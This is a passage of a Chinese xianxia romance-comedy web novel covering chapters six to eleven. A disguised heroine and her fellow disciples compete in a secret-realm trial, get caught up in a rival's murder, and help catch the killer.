靠近时,少年身上有股很好闻的味道,孟簪只觉得比那些胭脂水粉铺里的味道都要好闻,让孟簪并不排斥这种香料的味道。 孟簪摇摇手,“公子要是不想介绍也无妨……” 一旦交换姓名,以后要是见面了出于礼节还要打招呼,社交痛苦分子孟簪还是没那么想交朋友的。 毕竟帅哥嘛,一般都是只可远观的。 孟簪话还未完,对方的目光落在了自己身上,若有所思道,“你想知道吗?” 孟簪:…… 有种说不上来的好古怪的氛围。 孟簪形容不上来,就是有了种我是个小兵,突然被朝廷授命为将军,让我现在带兵去抵抗前方战急。 就很突然,很让人猝不及防。 孟簪前看了眼,后看了眼,眼下三个人的场景里,她不确定的指了指自己,“你在问我?” 对方不置可否地点点头。 屋外的暴雨连绵,山洞里突然涌起诡异的氛围。 “咦——苗昊你不对劲哦。” 孟簪的发丝被身后的小凌挑起,不知何时,小凌一只手搭在了孟簪的肩膀上,把玩着她的发丝,这般逾矩的行为让苗昊眉间紧紧锁起。 “北冥凌!” 孟簪跨步立即和手指轻勾着自己发丝的人拉开了距离,转身后看向银发紫眸,唇角挂着若有若无笑意的少年,又扭头看向面上有些怒火,眉目英挺,长得很正的少年郎。 一个亦正亦邪,玩世不恭。 一个是典型的长得正,行事正直的正道之光。 “唤我本名做什么?”北冥凌环胸,恍若无意道,“我还记得你上次输给我的时候,把底裤都输没了。” 少年笑容明媚的样子,实在想象不出这样一番话是从他嘴里说出来的。 黑历史被北冥凌提起,苗昊亘古不变的面容出现了几分裂缝,“你!” “如果你想在暴雨之中过一晚的话,就出手吧。”北冥凌玩味开口,带着看好戏的笑意,瞥了眼屋外的电闪雷鸣,“如果你想的话,现在就可以滚出去了,毕竟我身子矜贵,是不会在暴雨里过一个晚上的,对吧柳姐?” 被牵扯进战局的孟簪:我笑笑,不说话。 两个人跟不知道有什么深仇大恨似的,孟簪实在不太好发表意见。 方才觉得自己要被带飞而狂喜的孟簪心情归入平静。 两人最终在山洞最远的地方坐下,割了条楚河汉界,互不干涉。 而好不容易扯出被子的孟簪抱着被子看着地上的一条红线陷入了沉默。 孟簪:所以?我请问,那我呢? “那个……我问下,我睡哪儿?”看着被完全均分的地盘,孟簪第一次觉得这抱着的被子有些棘手。 “姑娘可以睡这……” “柳姐睡我旁边。” 两个人同时开口,意识到对方说了什么后,都是冷笑了一声。 “睡你旁边?北冥凌人家柳姑娘还未成亲,你名声烂点无所谓,柳姑娘可不是你这种随便的人。” “啊对对对,我随便我随便就不会分那么一小块地给柳姐,我柳姐睡觉喜欢翻身知道不?你这给人家的小块地方人家转个身都不能够,我随便,那你就是小气鬼。“ 见两个人又要吵起来,抱着被子的孟簪觉得脑袋疼。 “别吵了。” 两个人同时安静下来,看向孟簪。 “我去暴雨里睡。” 这岁月静好的负重前行终究是孟簪一人承担了下来。 “不行!”两人总算是异口同声了一回。 随后意识到这一点的两个人下一秒瞬间拉了脸,默不作声了。 是北冥凌先开的口,“你睡我旁边,好啦,我这个人睡姿很好的。绝对不会……”北冥凌意有所指的瞄了眼苗昊,“打呼说梦话的。” 孟簪:…… “这样,我来划线,剩下的你们俩平分。” 北冥凌毫不犹豫地表示了赞同。 而苗昊也是点了点头,“那就按照柳姑娘说的来。” 孟簪满意地点点头,“好,那你们先闭眼。” 北冥凌依旧没犹豫,苗昊不懂但也是照做了。 “我分好了,睁眼吧。” 看着红线外超大一块的区域,北冥凌嘴角一抽,低头看着自己脚下一块估计连坐着都不太足够的地方陷入了沉默。 而分地的罪魁祸首铺好了床,转眼就陷入了梦乡。 苗昊毫不在意地坐下,看着北冥凌欲言又止,止了又止的样子,莫名暗爽到了。 他偷偷看向孟簪的方向,丝毫没注意到自己耳尖悄悄爬上了两抹红。 睡得舒坦,孟簪醒来看向两旁,一个裹着小毯子把自己卷成了一个蛋卷,一个睡得东倒西歪,虽说打呼没听到,但是睡姿那句话,看样子是在暗讽对方睡姿差了。 孟簪叠好自己的被子塞进了师父留给自己的空间口袋里。 空间口袋并不稀奇,只是每个空间口袋都被拍卖出了天价,这玩意出现在穷鬼孟簪身上才叫一个稀奇。 不过孟簪倒也不怎么使用,更多的是放些用得到的生活用品或者是食物。 根据这些天观察,孟簪了解到一个团队大概一共是有五人。 说明和自 7. 第七章 《反派小师弟救赎计划》全本免费阅读 第七章 芳菲未歇,竹林摇曳,白衣少年身姿阔绰,夕阳的光撒下,像是披着一层金光。 不远处的孟簪见到谢赴星出现的第一时间,脑海中便想起了裁判宣读的规则。 秘境比试第一点,保护好自己的队友。 最终我们会以团队存活总数为第一评判标准。 所以才会时机正好的出现。 孟簪捂着胸口,比起疼痛,心中泛起的波澜更难停歇。 有些人好像只是一个出现就可以夺走所有人的目光。 “谢赴星。” 解决完将人送出秘境的北冥凌迎面走来,“英雄救美,你小子出现得挺是时候啊。” 北冥凌压根没想到现在站在自己面前的这个少年郎压根不是来得是时候,而是在树上看了多时的好戏而不出手罢了。 “你认识我?”谢赴星疑惑的看向北冥凌,却遭到北冥凌一副不敢置信的惊呼,“不是,紫雷加朱砂,何人不识你谢赴星?” 苗昊也匆匆解决了战局,走了过来。 “柳姑娘可还好?”不冷不淡的一句问话落下。 孟簪的手被人往后折了下,此时手软绵绵的没有半点力气,她摇摇头,“手好像断了。” 北冥凌走上前,蹲下,“这简单,接上去就好。我老爹经常把我手折断,我自己每次都能安回去。” “放心。”北冥凌大拇指指向自己,自信道,“哥是专业的。” 孟簪背后一凉:不是,你这过得是什么艰苦日子啊。 果不其然,手法老练的少年三下五除二就把孟簪的手接回去了,一阵疼痛后手确实被接上了,可是孟簪扶了下脑袋,不知为何感觉有些头晕。 结果回去的当晚,孟簪发了高烧。 “我第一次见她面的时候,她就受了伤,双手都在出血,呜呜呜呜她好惨啊。” 摸了摸孟簪滚烫的额头后,直接哭成QAQ表情包的北冥凌回头委屈巴巴看向身后的两人,期待的目光毫不遮掩的希望两个人中有个人愿意挺身而出。 毕竟他身娇体贵的自然是不愿意照顾人家的。 再者,他连自己都照顾不好还能照顾别人? “我只是个路人。”苗昊面无表情地回复道,面对北冥凌的邀请,他誓死都不会答应的。就算,他对孟簪确实是有几分好感。 于是,北冥凌希冀的目光落在了唯一没有说话的谢赴星身上。 白衣少年垂眸,鸦黑的睫羽落下一层浅浅的阴影,好像化不开的迷雾,但是掀眼瞬间,少年清亮的眼眸望了过来,落下一句。 “不用,我会照顾师姐。” 谢赴星本来长着一副脾气很好的样子。眼下靠谱的挺身而出让北冥凌的对他的印象分蹭蹭往上涨。 也是因为知道两个人来自同一个宗门,蹲在一旁的北冥凌不禁好奇地朝拧毛巾的谢赴星问道。 “在来这里之前,你认识柳拂云吗?” “不认识。” 少年回答的干脆,没有半点犹豫。 一句不认识让孟簪心尖一颤。 原来对于他而言,自己只不过是个陌生人。 这一刻,身上在打斗中裂开的伤口好像更疼了。 北冥凌乘胜追击、顺势问道,“今日倘若是别的女子你也会这样吗?” 耳朵偷偷竖起来的孟簪:别说,我也有点好奇。 然而,对方扭头看向北冥凌,眼中的笑意淡了,就好像是乌云遮住了月亮,有些说不出的清冷和疏远。 “北冥道友的话好像很多。” 北冥凌也是后知后觉意识到自己的话好像过于私密了。 于是摸着头讪讪道,“我就随便问问。” 北冥凌觉得谢赴星此人和自己听闻的形象确实不大一样。 外人口中的谢赴星少年天才,所以有些孤傲自大在身上,可是如今看来,谢赴星脾气颇好不说,而且这人不外显,整个人宛若是大海,半点不显山露水,你不会觉得什么。 但是你又都知道大海宽广无边,深不可测,他很强。 装睡的孟簪能感觉到少年温柔的动作,似乎是怕吵醒孟簪,每个动作都很轻巧,给自己换毛巾,以及摸额头时避无可避的短暂的肌肤相触。 那双手很冰,就像是亘古不变的寒川碰到了一团温热的火,但寒川会融化,而小师弟不会,他就像是天边的月,永远都在那里,却也永远让孟簪觉得触不可及。 也就这样短暂的时刻,可以让孟簪靠近月亮。 睁眼天光大亮,孟簪抬头,不远处的少年靠在洞壁上,额前刘海有些乱了,这才让孟簪意识到小师弟比自己还小上些许,也不过是个十七岁的少年郎罢了。 少年眉心的一点朱砂殷红,此刻睡梦中的他像是一只收起刺的刺猬,格外乖巧,胸膛起伏匀速平稳,看样子还是在熟睡之中。 孟簪没想到,小师弟竟然是守了自己一个晚上。但想起那句斩定截铁的不认识。 一时说不上是心碎多,还是感动多。 她蹑手蹑脚地起身,防止吵醒还在睡梦中的其余三人。 身上的烧已经退了,只不过昨晚一晚上出了不少汗,孟簪如今想找个地方洗个澡换身衣服。 秘境中是有水池的,她记得。 她走了出去,也没想到过自己会在密林里迷路。 “……”她看着相似的竹林场景,头疼地扶着额头,“早知道不一个人出来了。” 孟簪看着熟悉的分岔路口,停驻了步伐。 “有人结阵。” 所以,我这是误入了他人留下的阵法之中? 孟簪对阵法的敏感程度很高,基本上市面上的阵法都逃不过她的眼睛,她走到不远处的一块竹林,手拨开两根竹子,果不其然在深处的竹子上看到了阵法的标记。 闯入阵很容易,难点在于破阵。 “哟,这女娃娃闯入慕容你设下的阵法之中了。” 境外的长老时刻关注着秘境内发生的事情。 慕容长老抬头,面无表情的扫了眼,“她出不来的。”笃定的一句话落下。 秘境内的孟簪也抱着脑袋痛苦着,“这阵法得要两个人同时劈开阵眼的竹子。” 孟簪单枪匹马一个人出来找地方洗澡也没想到自己会衰到这个程度。 “或者……两把剑同时斩断竹 8. 第八章 《反派小师弟救赎计划》全本免费阅读 第八章 “不好,李玉垚发现我们了。”北冥凌话落,凌厉的剑光擦着他的发丝而过,不远处的竹林眨眼间倒了一大片。 孟簪抬头对上不远处对方含着冷意的眸,带着不可一世的傲气。 李玉垚举起剑,指向谢赴星的方向,“你?就是谢赴星?” 这话语里有蔑视、嘲讽,更多的是一种不可置信。 “嗯,我是。你是何人?”少年不骄不躁地掀眼,发间鲜红的发带被风卷起。 李玉垚没少在外面宣传编排谢赴星。 编排的多了,他自己都相信了。眼下对上少年的脸,都有些不太敢看,艾玛,以后照着这张脸宣传自己,李玉垚几乎是当机立断的想出了这个好主意。 但是听到对方竟然不认识自己,李玉垚的脸可见得垮了下来,谢赴星弯起眉眼,一副抱歉的口吻,认真道,“对不起,在下孤陋寡闻,不会惹这位道友不高兴了吧?” “没有。” “哦,那就好,我看这位道友凶神恶煞,虽然平平无奇,但是颇为自信,还怕道友小肚鸡肠,对我怀恨在心。可是,我们还是第一次见面。 你说,我们上辈子是不是有什么恩怨,不然我为什么一见到你就很想抽你呢?”说到超级二字少年特意咬了重音。 孟簪:这段话够我学一年。 孟簪偷偷瞄了一眼,李玉垚的脸黑得比孟簪烧饭的锅都要黑,可小师弟倒是笑眯眯的,愉悦又礼貌的样子,恍若看不懂对方脸色一般。 早就认出李玉垚的北冥凌此刻也是装作一副闻所未闻的样子,附和道,“是啊是啊,你一副平平无奇的样子,怎么那么自信?”说完,北冥凌很真诚的口吻,询问道,“可以教教我吗?唉——像我这样优秀的人就是想平平无奇都难,想来你也不懂。” 北冥凌躲开李玉垚的剑招,叉着腰,终于忍不住大骂道,“你拽什么拽!我们这里可是有谢赴星!看谁敢揍我!” 六个人打四个,咳,北冥凌后知后觉意识到确实有点悬哈…… 孟簪对上的是对面战斗力最弱的一人,纵然是最弱但战斗力也达到了筑基三层。 对方也是一位女子,“你,也配和他们为伍?” 莫名被阴阳的孟簪点点头,认真道,“嗯,就我。” “我觉得我挺配的。” 毕竟这些人除了小师弟,也都不怎么正常的啊。 我这个正常人很顶配啊。 “呵。” 很轻的一声嗤笑,“像你这样脸皮厚的,也确实干的出偷抢别人劳动成果的事情,我不想和你多费口舌,只会降低我的身份,你偷走的妖丹交给我,我可以下手轻一点。” 孟簪算是明白过来了,这女子和之前那对小情侣是一伙儿的,这小情侣颠倒是非的能力给孟簪算是气笑了,“不是,那傅师兄给你下迷药了,你那么袒护他?” 女子话语一噎,不满的看向孟簪,“与你无关。” “让我猜猜?”孟簪一语中的,“他救过你的命?” “傅旻是我的未婚夫。”女子承认的坦荡。却见孟簪看她的眼神有些不对劲。 “你这什么眼神?” 孟簪悠长地叹了口气,欲言又止。 “你平时喜欢什么颜色。” 女子戒备的看向孟簪,吐字道:“绿色。” 孟簪安静了几秒。 感叹道,“绿色,绿色好啊——很配你。” “……”不知为何,女子总觉得这句话不像夸人的。 一边听到话语的北冥凌躲过两位剑客的刀光,插了嘴,“我柳姐的意思就是,你被绿了啊,姑娘。你眼睛不好就算了,这脑子也不好使啊。” “你——” 北冥凌说完,便抽身乏术地蹦回了战局之中。 “喂!不要打脸,好不好?”北冥凌可怜地对着两位剑客恳求道。 对待北冥凌,孟簪也只是嘴角一抽,很快收拾好面部表情看向面色不太好的女子。 “你说他当真负了我,可是为何?” 女子悲然欲泣,双眸含泪不理解地看向孟簪。 孟簪指了指自己,“你问我原因?我是什么东西?你问我。” 对自己定位明确的孟簪表示:我只是个路人。 “我不信。你一定是骗我的,哈,还真差点中了你的计谋,你一定是想转移我的视线,我才没有那么笨呢!” 孟簪:恋爱脑加渣男,你不要太爱。 “等下!”见女子就要使出剑招,孟簪往女子身后急切一指,“看暗器!” 女子回头,什么都没有,可是再转回头,也没有孟簪的身影,她摸着脑袋懵了,诶,人呢? 孟簪左脚绊右脚,十分成功地把自己绊进了旁边的水池之中。 可问题是——她不会游泳哇! 而另一边的李玉垚眼睁睁看着少年纵身跃入了莲花池之中,要不是李玉垚这个角度恰好看见了孟簪掉落莲花池的过程,他都以为这莲花池底是有什么宝藏,这才引得这谢赴星跳下池中。 李玉垚拍拍胸膛,还好还好,差点跟着跳下去了。 在进来秘境前,周铭就叮嘱过谢赴星要保护好柳拂云。 所以在孟簪跌落水池的第一刻,时刻关注着孟簪那边情况的谢赴星毫不犹豫地跳了下去。 和谢赴星对战的李玉垚后知后觉的不爽:不对啊,你小子直接无视我是吧! 一心二用被谢赴星发挥到极致,让认真作战的李玉垚格外不爽到了。因为他感觉得出来,谢赴星和他对战的时候漫不经心,压根没出全力。可问题是,他出全力了!怎么回事?这货难道是自己命定的克星?同辈之间竟然还有可与我匹敌的天才? 难道我不是个天才?想到这一层的李玉垚陷入了一种迷之沉默之中。 孟簪并不会游泳,此刻掉入水中,挣扎了几下,呛了好几口水。随着身子不断往湖底沉入,她的意识已经有些涣散了。 孟簪在水中睁眼,蔚蓝一片的场景之中,只迷茫间中看到,有人朝自己游来。 “闭眼。” 熟悉的声音让孟簪这个时候还有闲心想:按照话本里英雄救美的情节,小师弟现在可以亲自己了。 下一秒,嘴里被少年塞入了一颗圆润的珠子,孟簪再睁眼,水面下的一切都变得清晰,在水中可以做到自然的呼吸,再没有任何的不适。 而不知是不是她的错觉,眼前小师弟的眼眸泛着一层淡淡的蓝色,随着摇晃着的波纹荡开,说不出的温柔,恍若话本里在海边长存的鲛人。 少年手指朝水底指了指,孟簪低头,看到了水底金灿灿的一片。 小师弟的意思莫非是在暗示我一起过去看看? 孟簪自然是没有任何意见的,点点头。 见孟簪扑腾扑腾在水中不太熟练的样子,少年静默了几秒,游向孟簪,隔着衣袖他抓紧了少女的小臂。 孟簪宛若惊弓之鸟,眼里藏不住的惊愕,而少年好看的那双含情眼只静静地看向她。 她目光触及到少年眉心的一点朱砂,急忙扭开了脑袋,还好是在水底,不然孟簪觉得自己的脸都要烧起来了。 少年的手好像没攥得那么紧了。 他游得很漂亮,像是海里的一只鱼一般轻快,带着孟簪很快就潜到了水底。 孟簪的脚落定,才发现这块地方是被隔绝在水之外,“抱歉师姐。” 少年清朗带哑的声音在耳畔响起,孟簪回头,不知从何而说,“我知道的,你是为了我好。” “我不会水性。倘若不是你跳下来,我就死掉了。”孟簪说这话也是发自内心 9. 第九章 《反派小师弟救赎计划》全本免费阅读 第九章 孟簪回到岸上的时候,外面已经发生翻天覆地的变化。 北冥凌指着宋故封差点没要他的狗命。 “你还我柳姐的命!” 被迫承受且凌乱的宋故封:好像也不是我把她推下去的吧…… 苗昊余光看见波澜不起的水塘,举剑朝向笑容得意的李玉垚走去。 “你对我尚且没有胜算,更何况是一对三?”李玉垚这句话说得颇为自满,苗昊只是瞥了他一眼,没有多说话。 “啧,你是觉得我说得不对吗?”被屡次藐视权威的李玉垚此刻格外有火气,看谁都不爽的他,现在只想发疯撞飞所有人。 谢赴星在李玉垚眼中尚且不过有一战之力,可苗昊,李玉垚倒真没放在眼里。 “在她落水的几分钟里。苗昊,你想的究竟是他的碎碎念念,还是她的生生死死,这你能忍吗?” 北冥凌语气哀怆幽怨的话语跟触发苗昊的隐藏技能一般,出招简直不要太快。 这般横扫千军激进的架势倒是极少在这般保守的苗昊身上看到。 北冥凌是对战过几次苗昊,可是苗昊下手太磨叽,总结来说剑法既不够狠,又不够软,两个字,便是中庸。 眼下见到苗昊开大的样子,北冥凌啧啧称奇,手舞足蹈“好耶,让你们六打二,要遭报应了吧!哇哈哈哈哈!” 不远处闷雷声由近及远。 然而,破水而出的声音引来了所有人的侧目,首当其冲开口的便是北冥凌,“你没死啊。” 不知为何,孟簪竟然从对方的口气之中听出了几分遗憾和惋惜。 北冥凌颇有些惆怅道,“那我不就白开大了。” 被打倒在地还在咳血的宋故封:…… 孟簪:怎么说得很希望我死一样。 “宋兄,虽然不知道对方许了你什么好处,但是你现在回头是岸,我们还是彼此的好队友。”北冥凌蹲下,朝宋故封伸出手。 不料,对方神色一顿,突然面色变得格外凝重,用一种近乎谦卑的语气格外真诚道,“我的号码牌难道不是九吗?” 北冥凌:好好好,原来不是遇上傻子,是遇上瞎子了。 “你不认识数字吗?”北冥凌忍住了想揍对方的冲动,目光真挚地看向对方。 得到的是拖泥不带水的三个字,不认识。 坦诚地让北冥凌心碎。 “好好好。” 原来是既不识字也不认识数字的文盲宋故封。 不过既然打赢且收服了宋故封,北冥凌起身叉腰,就差把稳操胜券写在脸上了,“你死定啦哈哈哈哈!”北冥凌眼睛一眯就是一肚子坏水。 和北冥凌相处的几日,孟簪算是看明白了,北冥凌这人就是看热闹不嫌事大,纯纯一个乐子人。 和单纯打不过而躺平的孟簪不同,北冥凌好胜心颇强。 腹背受敌的李玉垚,喊道,“跑!” 北冥凌一张符纸迅速扔向跑得最慢的那一个人。 “对不起啦。” 眼见紫眸少年笑眯眯地把对方的号码牌掰成了两半。 李玉垚组淘汰一人。 “谢谢。”孟簪递给了咳血的宋故封一块手帕,她看得出,北冥凌是真下了狠手,直接给人打出内伤来了,要说正常比斗本不该下此狠手,宋故封没设防,这才如今还有些唇色发白。 孟簪摸了摸口袋,拿出了自己的号码牌,指着上面的数字又指了指宋故封腰间,“你看看。” 宋故封解下自己腰间的号码牌,放在一起比了比点点头,不知为何这般有些幼稚的行为,让孟簪耐下心思,朝他教授道,“这个字,念七。” “七。”宋故封点点头,用很恳切的口吻道,“我记住了。” 抱剑站在一旁的谢赴星也弯下腰,发丝垂落,礼貌地自我介绍道,“我师姐,柳拂云。我叫谢赴星。” 宋故封点点头,有些局促不安,一旁的孟簪见此轻声安慰道,“没事,以后有机会教你习字。” 随着孟簪目光的划过,站着的两人也逐个介绍自己。 “我叫北冥凌,是苗昊的爹。” “滚。”苗昊朝北冥凌怒目而视,却全然被北冥凌忽视,依旧笑眯眯的往下道,“对,他的名字滚。” 说着用手肘撞了撞苗昊,暗示他不要乱发脾气,北冥凌上前几步,扶起地上的宋故封,“故封兄,我们一起走?” “好。” 距离出秘境还有两天,可按照这样的进度,几人连秘境地图的五分之一都没探索到。 “要不分队?”苗昊象征性提出建议。 不料很快就遭到北冥凌的质疑,少年手枕在脑后,靠着树阖眼道,“你确定可以把我柳姐分配好?” 孟簪:…… “我要不……”孟簪正想开口自己躺平原地也可以的。 “师姐跟着我就好。”孟簪看向眉心朱砂、抱臂而立的少年郎,对方说这话时,语气温柔,眼眸弯弯。 孟簪扯出小手帕抹眼泪:还得是我小师弟!!! 安全感拉满。 竹林沙沙声不断,秘境中一队的几人背靠背围成了一个圈,“我感觉有些怪怪的。” 听此,其余人不由得都是心头一紧。 下一秒天罗地网落下,每个人身上都被很快地贴了一圈符纸。 视线可见范围内,银发紫眸的少年从天而降,那双紫水晶般的眸子愉悦地眯起,嘴上却是格外愧疚说着,“不好意思啦。” 纯纯一个笑面虎,觉得不好意思的话就别拿走我们的号码牌啊!号码牌一分为二,一圈的人眨眼间全部出局。 北冥凌百般聊赖的将号码牌收回自己的口袋里。 也不知道其他几个人怎么样了。 他身法好,自甘奋勇,一个人走南边。 此刻走北边的孟簪小心地提着裙角跟在谢赴星后面。 “小师弟我一定努力不拖累你。” 听见孟簪信誓旦旦的承诺,少年没回头,风吹起少年干净利落的高马尾,“师姐在,我会觉得很安心。” 感动的孟簪差点没掏出二胡拉个二泉映月。 纵然小师弟很好,但是孟簪对于自己的实力还是很有自知之明的,她对自己的定位就是——遇事不决就跑,跑不动就躺。 反正天大地大的,孟簪还真不信自己会夭折在这秘境。 孟簪看着小师弟紫雷裹挟着剑,不由得默默感叹道,这剑使得比孟簪拿筷子都要利落,谢赴星算是这一批弟子里实力高的了。 单枪匹马一对一是没有任何问题的。 孟簪跟在小师弟后面,只做一件事便是把掉在地上的号码牌捡起来,塞进口袋里。 孟簪拖着大大的口袋,谢赴星扔一个,她接一个。 别说,还给孟簪做出成就感来了。 “师姐” 孟簪不解抬头,“怎么了?” “我的号码牌好像掉了。” “许是掉在了方才的莲花池里。”孟簪跟上谢赴星的脚步,“没事,我陪你一起去找找。” “实在不行。”孟簪撸起袖子,“我给你一比一复刻一块。” 少年本来失落的心情一扫而空,他弯起眸,“师姐这都会?” 孟簪点点头,拍了拍自己的胸膛,“想当年外门弟子的玉牌都是我自己……”孟簪的话戛然而止,她朝着认真听讲的小师弟眨了眨眼,遭了,这不把她混进无花宗的事情给说出来了。 “我知道的。” 见少年如此流畅的接上这样一句话,孟簪的心都有些七上八下,走到这一步了,不会要在这里被戳穿了吧。 孟簪都想到自己跪在地上忏悔自己的错行了。 “外门管事,是他克扣了你的外门玉牌对不对?” 孟簪:诶? 孟簪不止一次听过拂云吐槽起这位管事,倒是没想到这位坏得倒是人尽皆知啊。 “嗯。”秉持着少说少错,孟簪还是选择少说话为妙,跟上了小师弟的步伐。 而选择走东面的苗昊坐在树上,看着宋故封提着剑,来回跑,不禁有些头疼,“叫你不要随便吃东西了。” 宋故封方才吞了个地上的蘑菇就变成了如今这幅样子。 只靠着机械记忆活动,现在的他只会两个动作,跑和砍。 苗昊眉头一挑,有人来了。 “我看这傻子跑半天了。” “他一定跑累了,我们现在趁机抢走他的号码牌。” 听到全程的苗昊:…… 说着两个人猫着腰偷偷跑到宋故封背后。 吃了菌子的宋故封继跑和砍后学会了第三个动作,转身。 一个转 10. 第十章 《反派小师弟救赎计划》全本免费阅读 第十章 在北冥凌张得可以吞下一个鸡蛋的嘴的见证下,孟簪一把拉过北冥凌的手,“没错,其实有一个人已经关注你很久了。在每一个你看不见的角落里,他偷偷收集一点一滴。今天这个身份看来我是不能再帮他隐瞒了。” 在孟簪眼神的鼓励下,北冥凌听见女子亢奋道,“因为爱要大声说出来!” 谢赴星全程面无表情:神他妈爱要大声说出来。 …… 天光大亮,孟簪反射性地捂住自己的眼睛,几人被传送出了秘境。 在众人簇拥之中,周铭费劲地从人群中挤出,朝孟簪和谢赴星二人招手,“师弟!柳师妹!” 孟簪抬头,看向朝自己跑来的周铭,不自觉地有些感动,“周师兄,许久未见啊!” 周铭对着孟簪会心一笑,拉着两人问道,“怎么样?在秘境之中可有受什么伤?” 谢赴星看向孟簪。 “无碍,打斗总归是会有小伤的。”孟簪展开笑颜,阳光洒落她身上,不知为何她此前一直悬着的心终于落地。 “对了,你们可在秘境中遇见了李玉垚?” “怎么了师兄?” 周铭面色凝重地看向二人,“他死了。死在了秘境中。” 孟簪神色惊愕好半天没缓过神来。 她对李玉垚停留在不多的几次见面之中,一次便是街头的狂热粉丝,还有一次便是在秘境之中。 一想到不多久前见过的人突然说没就没人,孟簪就觉得有些奇怪,“秘境由长老们监控,以李玉垚的实力要想悄无声息的在长老的目光下杀了他绝对不是一件易事。” “确实如此,李家现在正在闹事,这边如果不给他们一个正当的解释,他们可能会亲自彻查这次仙门大比的所有人员。” 孟簪清者自清倒是没什么,只是她察觉到身旁的少年有些安静得过分了。 孟簪不是一个多疑的人,直觉告诉她,谢赴星和这件事或许有关系。 “目前可有找到凶手?” 周铭摇摇头,“李玉垚平日里得罪的人多,有嫌疑杀他之人很多。” “但是,能够两者兼具的很少。小师弟,你怎么看?”孟簪接过话茬,扭头看向谢赴星,私心里她希望自己的直觉是错的,谢赴星没有掺和进这件事里。 “师姐觉得是谁?”少年不答反问,不知为何,孟簪觉得对方好像猜到了点什么。 孟簪摊手,“不知道。反正不会是我与小师弟。” 说到小师弟三个字时,少年脸上挂着让人捉摸不透的笑意,而这一切被悄悄盯着孟簪的看收入眼中。 完了,这回小师弟可谓是干了波大事。 一回到客栈,孟簪一把拉过从自己房门前经过的谢赴星。 “怎么了师姐?” 在谢赴星疑惑的眼神注视之下,孟簪一把把对方壁咚在门上,“你是不是干了什么错事?” 见谢赴星竟然迟疑了,孟簪真得是痛心疾首。 “你真得杀李玉垚了!?” “我弄丢了你送的玉佩。” 两人异口同声,不由分说都是纳闷。 “玉佩?” “杀人?” “嗯。出来才发现,我好像把玉佩弄丢在秘境里了。” 嗐多大点事,孟簪还以为谢赴星是杀了人呢。 给她整得,还以为自己和杀一犯共处一屋呢。 孟簪松了口气,“没事,玉佩不是什么贵重的东西。” 然而少年蹙了蹙眉,“师姐送的东西自然是珍贵的。我打算明日再进一次秘境找一遍。” “秘境已经被长老们封锁,你要怎么进去?” 谢赴星只是思考了一瞬,很快有了想法,“我在我丢失的号码牌上贴了符纸,只需要传送符便可以进去。” “出来呢?” 孟簪有些无奈道,“所以你进去了就不打算出来了是吧?” “还有,你一个人进去秘境太危险了。”孟簪想了想,“我陪你去。” “师姐我只是找个东西很快的。” “那玉佩我批发来的,你要是喜欢,我再买个送你。”孟簪咳嗽声遮掩自己的不好意思,可惜话刚说出口,志气就像被戳破的气球冒了气,“咳咳,我仔细想了想,咱们也不要冒这个险进去了对不对?秘境里面危机四伏,谁知道我们进入了还能不能和这次一样平安归来,要是夭折在里面了,连尸骨都可是找不回来了,师弟三思啊!” 孟簪就差把你别为了一块玉佩不要命写在脸上了,可惜,“师姐我一个人进去寻足矣。” 少年执拗得可怕,孟簪算是看出来了,这谢赴星是有点执着的。可是不过是块不值钱的玉佩至于吗? “……你一定要进去吗?“孟簪觉得话都说到这里了,阻拦的话再说便有些不近人情了。“师弟,人一辈子会丢很多东西。” “师姐是想说,让我不要铤而走险,一人进入秘境吗?”少年垂眸,那颗眉心的朱砂此刻都有些黯淡,他眉眼藏不住的失落。 “倘若你一定要进秘境也不是不行。” 谢赴星好奇地看向孟簪。 …… 隔天夜晚,谢赴星看着孟簪带着一摞子的人浩浩荡荡走来的瞬间沉默了。 “我带了帮手,我们偷偷进去。” 看着孟簪身后的北冥韵和苗昊,谢赴星姑且就不说什么了,可是……看着还在转圈圈的宋故封,谢赴星深吸了一口气,“他这是?” 苗昊摊手,一脸无奈,“他又吃错菌子了。” 谢赴星不知道孟簪这是请了帮手还是帮倒忙的好手。 “走吧。” 走在后面的苗昊听见少年清朗的声音,“师姐是怎么说服你们来的?” 苗昊愣了一瞬,“柳师姐说,可以帮忙查案。” 谢赴星蹙眉,“查案?” 苗昊点点头,“李玉垚死了,在他生前有过接触的我们都被当作嫌疑人看待。” 北冥凌听到声音,回头不情不愿道,“我可不想不清不楚地被人怀疑!” 一阵强光后,众人消失在了原地。 “这是……”北冥凌赶忙捂住了自己的口鼻。 空气中弥漫着淡淡的腥味,孟簪觉得脚下踩着的地有些粘稠,伸手不见五指的环境让众人心情都沉重了下来。 “有光吗?”< 11. 第十一章 《反派小师弟救赎计划》全本免费阅读 第十一章 等在不远处的谢赴星眉头微蹙,侧身间避开了对方的攻击。 “桀桀,竟然被你察觉到了,你小子不错啊,不过——也仅限于此了。” 谢赴星拔了剑,手心的雷团自觉融入剑锋之中,紫色的电流滋滋作响,他眼中的锋芒尽展,那刻眉心的朱砂宛若滴血。 “有点实力,比那个倒霉鬼可是要有点真才实学,不过老头子我可不是白活那么久的。” 狂风大作,斗篷包裹住的人提着一把大刀,朝谢赴星冲来,谢赴星不傻,螳臂当车,自寻死路的道理,他懂。 他身法很快地避开对方的大刀,对方的攻势虽然猛但是挥刀的速度可比使剑要慢得多。 “雷,破!” 少年清冽的声音掷地有声。 天际一道雷,直直劈向拿着大刀的人,斗篷被劈成了飞灰,可人却安然无恙,对方不怒反笑,嘲讽开口,“你的雷是在给我挠痒痒吗?”说着,那斗篷人手往后一伸,摘下谢赴星在躲避之中往他背上贴下的雷符。 “小儿科的把戏。” 然而话落瞬间,九道紫色的雷电同时劈在对方身上,本来正常的皮肤直接被劈成了灰黑色,那人的头发也被劈得面目全非。 急匆匆带着北冥凌三人赶忙的孟簪赶到的时候看到的就是眼前的这一幕,上次小师弟救她孟簪没看到,但是这一次看得可是清清楚楚。 她往后退了半步,总结:不能随便得罪小师弟,会遭雷劈的。物理意义上的雷劈。 “别说,有些人越劈感觉越得劲。”北冥凌纯纯一个看热闹不嫌事大,朝谢赴星大吼道,“谢赴星,别劈了,我怕你给他劈爽了!” 孟簪看了眼战局,谢赴星在全局比斗之中竟然是全乎占上风的。 伴随着北冥凌时有时无的嘲讽,与苗昊的配合,在长老来之前,几人控制住了局面没有让这位杀人凶手逃之夭夭。 …… 杀人凶手被捉拿归案,李玉垚的事情仿佛落下了一个段落。但是针对四字闯入秘境的几人,自然也是少不了惩罚。 罚抄了多遍的心经,弱小又无助的孟簪算是把手给抄废了,下次果然要三思而后行。 秘境试炼的结果提上了日程,每队出来的号码牌数都进行了轻点和统计。 李玉垚那队的成绩是35块。 “好多啊!”周围被团灭的队伍不由得感叹道。 